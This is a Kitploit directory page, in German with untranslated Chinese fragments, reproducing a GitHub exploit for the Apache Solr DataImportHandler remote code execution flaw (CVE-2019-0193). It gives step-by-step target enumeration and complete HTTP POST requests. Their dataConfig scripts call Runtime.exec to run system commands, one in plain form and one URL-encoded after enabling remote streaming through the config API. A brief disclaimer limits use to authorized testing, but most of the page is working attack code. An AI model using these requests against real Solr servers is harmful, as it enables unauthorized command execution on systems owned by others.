Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
solr_exploit — Apache Solr Remote-Code-Execution-Schwachstelle (CVE-2019-0193) Exploit | Kitploit
Tools/GitHubGitHub/1135/solr_exploit
SchwachstellenanalyseExploitationWebanwendungs-ExploitationCommand and ControlRemote-Access-Tool
GitHub1135/solr_exploit

solr_exploit

Apache Solr Remote-Code-Execution-Schwachstelle (CVE-2019-0193) Exploit

Repository anzeigen
6514vor 6 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Hinweis

Die hier bereitgestellten Methoden zur Schwachstellenerkennung, Dateien und andere Inhalte sind ausschließlich für Sicherheitsexperten bestimmt, die sie im Rahmen einer rechtlichen Autorisierung verwenden, um die Sicherheit autorisierter Server zu überprüfen. Sicherheitsexperten müssen die gesetzlichen Bestimmungen einhalten und dürfen ohne Autorisierung keinerlei Schwachstellenerkennung durchführen.

Einleitung

Schwachstellenanalyse - Apache Solr Remote Code Execution (CVE-2019-0193) - Xianzhi Community

Theoretisch können verschiedene Arten von Datenquellen verwendet werden, um einen Exploit zu konstruieren.

Exploit1 verwendet den Datenquellentyp URLDataSource

Exploit2 verwendet den Datenquellentyp ContentStreamDataSource

Schwachstellenerkennung - Exploit1

Exploit1 verwendet den Datenquellentyp URLDataSource

Vorteile: Ergebnisrückmeldung, unterstützt die Erkennung von älteren Solr-Versionen

Nachteil: Erfordert ausgehenden Netzwerkzugriff

Schritt 1

Konstruieren einer Datenquelle vom Typ URLDataSource (der Solr-Server greift auf diese Datenquelle zu!). Kann direkt verwendet werden:

https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml

Die Datei demo.xml ist eine Datenquelle vom Typ URLDataSource – ein harmloses, normales XML-Dokument.

Das Dokument enthält nur ein item-Element, um sicherzustellen, dass der Befehl nur einmal ausgeführt wird.

Alternativ kann man einen eigenen Webserver starten, um die Datei demo.xml zu hosten. Befehl: live-server --port=5555. Erhält die Adresse http://127.0.0.1:5555/demo.xml.

Schritt 2

Abrufen der Namen aller Index-Cores in Solr

root@kitploit:~
http://{xx.com:80}/solr/admin/cores

HTTP响应 JSON数据 会有所有索引库(core)的名称

"name":"xxxx"

Schritt 3

Überprüfen, ob dieser Index-Core das DataImportHandler-Modul verwendet

Methode 1

root@kitploit:~
访问
http://{xx.com:80}/solr/{core_name}/admin/mbeans?cat=QUERY&wt=json

如果使用了DataImportHandler模块 则HTTP响应内会有:
org.apache.solr.handler.dataimport.DataImportHandler

否则说明没有使用DataImportHandler模块(不受该漏洞影响)

Methode 2

root@kitploit:~
访问
http://{xx.com:80}/solr/#/{core_name}/dataimport

如果这个Solr服务器并没有使用dataimport-handler模块(不受该漏洞影响),HTTP响应中会有提示:
sorry, no dataimport-handler defined!

否则说明使用了DataImportHandler模块(受该漏洞影响)

Schritt 4: HTTP-Anfrage konstruieren

Der ausgeführte Befehl gibt das Ergebnis in der HTTP-Antwort zurück, unterstützt mehrzeilige Ergebnisse (ich habe jede Zeile mit \n\r beendet).

Hinweis: Ersetzen Sie in der folgenden Anfrage-URL die Zeichenkette "tika" durch den Namen des Index-Cores.

root@kitploit:~
POST /solr/tika/dataimport HTTP/1.1
Host: solr.com:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://solr.com:8983/solr/
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 1231
Connection: close

command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=
<dataConfig>


  <dataSource type="URLDataSource"/>
  <script><![CDATA[

          function poc(row){

 var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("ls").getInputStream()));

var result = [];

while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}

row.put("title",result.join("\n\r"));

return row;

}


  ]]></script>

        <document>
             <entity name="entity1"
                     url="https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml"
                     processor="XPathEntityProcessor"
                     forEach="/RDF/item"
                     transformer="script:poc">
                        <field column="title" xpath="/RDF/item/title" />
             </entity>
        </document>
</dataConfig>

Schwachstellenerkennung - Exploit2

Exploit2 verwendet den Datenquellentyp ContentStreamDataSource

Vorteile: Ergebnisrückmeldung, kein ausgehender Netzwerkzugriff erforderlich

Nachteile: Kann ältere Versionen nicht erkennen – da die Konfiguration in der Datei configoverlay.json per POST-Anfrage fehlschlägt.

Schritte 1-3

Schritt 1 ausgelassen

Schritte 2-3 wie oben

Schritt 4

Dieser Schritt dient dazu, die Konfiguration in der Datei configoverlay.json zu ändern, um die Optionen für Remote-Streaming .enableStreamBody und .enableRemoteStreaming zu aktivieren.

Ersetzen Sie tika durch den Namen des Index-Cores.

root@kitploit:~
POST /solr/tika/config HTTP/1.1
Host: 127.0.0.1
Accept: */*
Content-type:application/json
Content-Length: 159
Connection: close

{"set-property": {"requestDispatcher.requestParsers.enableRemoteStreaming": true}, "set-property": {"requestDispatcher.requestParsers.enableStreamBody": true}}

Eine Antwort mit 200 bedeutet Erfolg (in Tests mit Version 8.1 erfolgreich).

Antwort 500 bedeutet Fehlschlag (in Tests mit einigen älteren Versionen fehlgeschlagen).

Schritt 5

Senden Sie eine Anfrage, führen Sie den Systembefehl ifconfig aus und erhalten Sie die Ausgabe (vollständig lokal, kein ausgehender Netzwerkzugriff).

root@kitploit:~
POST /solr/tika/dataimport?command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=%0a%3c%64%61%74%61%43%6f%6e%66%69%67%3e%0a%3c%64%61%74%61%53%6f%75%72%63%65%20%6e%61%6d%65%3d%22%73%74%72%65%61%6d%73%72%63%22%20%74%79%70%65%3d%22%43%6f%6e%74%65%6e%74%53%74%72%65%61%6d%44%61%74%61%53%6f%75%72%63%65%22%20%6c%6f%67%67%65%72%4c%65%76%65%6c%3d%22%54%52%41%43%45%22%20%2f%3e%0a%0a%20%20%3c%73%63%72%69%70%74%3e%3c%21%5b%43%44%41%54%41%5b%0a%20%20%20%20%20%20%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%6f%63%28%72%6f%77%29%7b%0a%20%76%61%72%20%62%75%66%52%65%61%64%65%72%20%3d%20%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%69%66%63%6f%6e%66%69%67%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%3b%0a%0a%76%61%72%20%72%65%73%75%6c%74%20%3d%20%5b%5d%3b%0a%0a%77%68%69%6c%65%28%74%72%75%65%29%20%7b%0a%76%61%72%20%6f%6e%65%6c%69%6e%65%20%3d%20%62%75%66%52%65%61%64%65%72%2e%72%65%61%64%4c%69%6e%65%28%29%3b%0a%72%65%73%75%6c%74%2e%70%75%73%68%28%20%6f%6e%65%6c%69%6e%65%20%29%3b%0a%69%66%28%21%6f%6e%65%6c%69%6e%65%29%20%62%72%65%61%6b%3b%0a%7d%0a%0a%72%6f%77%2e%70%75%74%28%22%74%69%74%6c%65%22%2c%72%65%73%75%6c%74%2e%6a%6f%69%6e%28%22%5c%6e%5c%72%22%29%29%3b%0a%72%65%74%75%72%6e%20%72%6f%77%3b%0a%0a%7d%0a%0a%5d%5d%3e%3c%2f%73%63%72%69%70%74%3e%0a%0a%3c%64%6f%63%75%6d%65%6e%74%3e%0a%20%20%20%20%3c%65%6e%74%69%74%79%0a%20%20%20%20%20%20%20%20%73%74%72%65%61%6d%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%6e%61%6d%65%3d%22%65%6e%74%69%74%79%31%22%0a%20%20%20%20%20%20%20%20%64%61%74%61%73%6f%75%72%63%65%3d%22%73%74%72%65%61%6d%73%72%63%31%22%0a%20%20%20%20%20%20%20%20%70%72%6f%63%65%73%73%6f%72%3d%22%58%50%61%74%68%45%6e%74%69%74%79%50%72%6f%63%65%73%73%6f%72%22%0a%20%20%20%20%20%20%20%20%72%6f%6f%74%45%6e%74%69%74%79%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%66%6f%72%45%61%63%68%3d%22%2f%52%44%46%2f%69%74%65%6d%22%0a%20%20%20%20%20%20%20%20%74%72%61%6e%73%66%6f%72%6d%65%72%3d%22%73%63%72%69%70%74%3a%70%6f%63%22%3e%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%66%69%65%6c%64%20%63%6f%6c%75%6d%6e%3d%22%74%69%74%6c%65%22%20%78%70%61%74%68%3d%22%2f%52%44%46%2f%69%74%65%6d%2f%74%69%74%6c%65%22%20%2f%3e%0a%20%20%20%20%3c%2f%65%6e%74%69%74%79%3e%0a%3c%2f%64%6f%63%75%6d%65%6e%74%3e%0a%3c%2f%64%61%74%61%43%6f%6e%66%69%67%3e%0a%20%20%20%20%0a%20%20%20%20%20%20%20%20%20%20%20 HTTP/1.1
Host: solr.com:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://solr.com:8983/solr/
Content-Length: 212
content-type: multipart/form-data; boundary=------------------------aceb88c2159f183f


--------------------------aceb88c2159f183f
Content-Disposition: form-data; name="stream.body"

<?xml version="1.0" encoding="UTF-8"?>
<RDF>
<item/>
</RDF>

--------------------------aceb88c2159f183f--

Hinweis: Der Wert von dataConfig vor der URL-Kodierung ist der folgende String:

root@kitploit:~
<dataConfig>
<dataSource name="streamsrc" type="ContentStreamDataSource" loggerLevel="TRACE" />

  <script><![CDATA[
          function poc(row){
 var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("ifconfig").getInputStream()));

var result = [];

while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}

row.put("title",result.join("\n\r"));
return row;

}

]]></script>

<document>
    <entity
        stream="true"
        name="entity1"
        datasource="streamsrc1"
        processor="XPathEntityProcessor"
        rootEntity="true"
        forEach="/RDF/item"
        transformer="script:poc">
             <field column="title" xpath="/RDF/item/title" />
    </entity>
</document>
</dataConfig>
Tool herunterladen